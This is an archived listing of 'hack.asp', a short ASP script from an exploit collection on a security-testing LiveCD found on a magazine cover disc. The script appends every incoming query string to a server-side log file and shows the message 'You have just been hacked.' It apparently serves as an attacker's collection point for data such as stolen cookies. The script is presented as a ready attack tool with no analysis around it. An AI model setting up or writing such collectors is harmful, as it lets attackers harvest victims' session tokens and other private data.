home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / hack.asp < prev    next >
Encoding:
Text File  |  2005-02-12  |  664 b   |  37 lines
  1. ------------------------------- hack.asp
  2. ------------------------------------
  3. <%
  4. Option Explicit
  5.  
  6. Const ForWriting = 2
  7. Const ForAppending = 8
  8. Const Create = True
  9.  
  10. Dim MyFile
  11. Dim FSO ' FileSystemObject
  12. Dim TSO ' TextStreamObject
  13. Dim Str
  14. Str = Request.ServerVariables("QUERY_STRING")
  15.  
  16. MyFile = Server.MapPath("./db/log.txt")
  17.  
  18. Set FSO =
  19. Server.CreateObject("Scripting.FileSystemObject")
  20. Set TSO = FSO.OpenTextFile(MyFile, ForAppending,
  21. Create)
  22.  
  23. if (Str <> "") then TSO.WriteLine Str
  24.  
  25. TSO.close
  26. Set TSO = Nothing
  27. Set FSO = Nothing
  28. %>
  29. <HTML>
  30. <BODY>
  31. You have just been hacked.
  32. </BODY>
  33. </HTML>
  34. ----------------------------------- EOF
  35. -----------------------------------
  36.  
  37.